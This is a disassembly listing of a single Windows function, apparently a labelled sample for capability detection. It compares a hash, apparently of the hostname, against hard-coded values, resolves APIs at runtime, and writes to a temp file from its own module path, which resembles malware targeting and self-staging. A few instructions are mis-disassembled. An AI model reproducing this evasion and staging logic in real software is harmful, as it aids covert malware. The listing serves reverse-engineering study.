Function at 0x491b50
Capabilities:
Get common file path
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x48ede8
push 0x481d60
mov eax, dword fs:[0]
push eax
sub esp, 0x544
mov eax, dword [0x5976c0]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x550], eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
xor ebx, ebx
test eax, eax
jne 0x491ba5
push ebx
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x2c], 0x81059ef7
mov dword [ebp - 0x28], 0xaf31914f
mov dword [ebp - 0x24], 0xdc8fa0cf
mov dword [ebp - 0x20], 0x38476953
mov dword [ebp - 0x3c], 0xb6bdc8f3
mov dword [ebp - 0x38], 0x8f47dfb9
mov dword [ebp - 0x34], 0xcef27a22
mov dword [ebp - 0x30], 0xa1a5c861
mov byte [ebp - 0x4c], bl
xor eax, eax
mov dword [ebp - 0x4b], eax
mov dword [ebp - 0x47], eax
mov dword [ebp - 0x43], eax
mov word [ebp - 0x3f], ax
mov byte [ebp - 0x3d], al
mov byte [ebp - 0x60], bl
mov dword [ebp - 0x5f], eax
mov dword [ebp - 0x5b], eax
mov dword [ebp - 0x57], eax
mov dword [ebp - 0x53], eax
mov dword [ebp - 0x554], 0x10
lea ecx, [ebp - 0x554]
lodsb al, byte [esi]
cli
invalid
call dword [ecx - 0x73]
push ebp
mov al, byte [0x8815ff52]
adc byte [eax], al
push 0x11
lea eax, [ebp - 0x60]
push eax
call fcn.00483e51
mov dword [ebp - 0x54c], ebx
mov dword [ebp - 0x548], ebx
push 0x50
push ebx
lea ecx, [ebp - 0x544]
push ecx
call fcn.00481ef0
lea edx, [ebp - 0x54c]
push edx
call fcn.00463200
push 0x11
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x54c]
push ecx
call fcn.004633c0
lea edx, [ebp - 0x4c]
push edx
lea eax, [ebp - 0x54c]
push eax
call fcn.00463d60
add esp, 0x2c
mov eax, 0x10
lea ecx, [ebp - 0x3c]
lea edx, [ebp - 0x4c]
cmp eax, 4
jb 0x491ccb
mov esi, dword [edx]
cmp esi, dword [ecx]
jne 0x491c97
sub eax, 4
add ecx, 4
add edx, 4
jmp 0x491c81
movzx eax, byte [edx]
movzx esi, byte [ecx]
sub eax, esi
jne 0x491cc3
movzx eax, byte [edx + 1]
movzx esi, byte [ecx + 1]
sub eax, esi
jne 0x491cc3
movzx eax, byte [edx + 2]
movzx esi, byte [ecx + 2]
sub eax, esi
jne 0x491cc3
movzx eax, byte [edx + 3]
movzx ecx, byte [ecx + 3]
sub eax, ecx
sar eax, 0x1f
or eax, 1
jmp 0x491ccd
xor eax, eax
mov ecx, 0x10
lea edx, [ebp - 0x2c]
lea esi, [ebp - 0x4c]
cmp ecx, 4
jb 0x491d22
mov edi, dword [esi]
cmp edi, dword [edx]
jne 0x491cee
sub ecx, 4
add edx, 4
add esi, 4
jmp 0x491cd8
movzx edi, byte [edx]
movzx ecx, byte [esi]
sub ecx, edi
jne 0x491d1a
movzx ecx, byte [esi + 1]
movzx edi, byte [edx + 1]
sub ecx, edi
jne 0x491d1a
movzx ecx, byte [esi + 2]
movzx edi, byte [edx + 2]
sub ecx, edi
jne 0x491d1a
movzx ecx, byte [esi + 3]
movzx edx, byte [edx + 3]
sub ecx, edx
sar ecx, 0x1f
or ecx, 1
jmp 0x491d24
xor ecx, ecx
and eax, ecx
je 0x491ec5
push 0x401aac
push 0x401a98
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push ebx
call eax
mov dword [ebp - 4], 1
push 6
push 0x401a88
mov esi, dword [ebp - 0x550]
push esi
call fcn.00483c4b
add esp, 0xc
test eax, eax
je 0x491e91
call fcn.004712e0
xor eax, eax
mov word [ebp - 0x2ec], ax
push 0x206
push ebx
lea ecx, [ebp - 0x2ea]
push ecx
call fcn.00481ef0
add esp, 0xc
lea edx, [ebp - 0x2ec]
push edx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
test eax, eax
je 0x491ea5
lea eax, [ebp - 0x2ec]
push eax
push ebx
push ebx
mov ecx, eax
push ecx
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameW]
test eax, eax
je 0x491ea5
xor edx, edx
mov word [ebp - 0x4f4], dx
push 0x206
push ebx
lea eax, [ebp - 0x4f2]
push eax
call fcn.00481ef0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x4f4]
push ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
test eax, eax
je 0x491ea5
push 0x40
push 0x598668
call fcn.0044a990
add esp, 8
test eax, eax
je 0x491ea5
mov byte [ebp - 0xe4], bl
push 0x80
push ebx
lea edx, [ebp - 0xe3]
push edx
call fcn.00481ef0
mov dword [ebp - 0x550], 0x81
lea eax, [ebp - 0x550]
push eax
lea ecx, [ebp - 0xe4]
push ecx
push 0x40
push 0x598668
call fcn.00474300
add esp, 0x1c
test eax, eax
je 0x491ea5
lea edx, [ebp - 0x2ec]
push edx
lea eax, [ebp - 0x4f4]
push eax
call fcn.00490f20
add esp, 8
test eax, eax
je 0x491ea5
lea ecx, [ebp - 0xe4]
push ecx
lea edx, [ebp - 0x4f4]
push edx
lea eax, [ebp - 0x2ec]
push eax
call fcn.00444f30
add esp, 0xc
mov dword [ebp - 4], ebx
jmp 0x491ec5
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
push esi
call fcn.004917a0
add esp, 4
mov dword [ebp - 4], ebx
jmp 0x491ec5
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.004819d9
mov esp, ebp
pop ebp
ret 0x10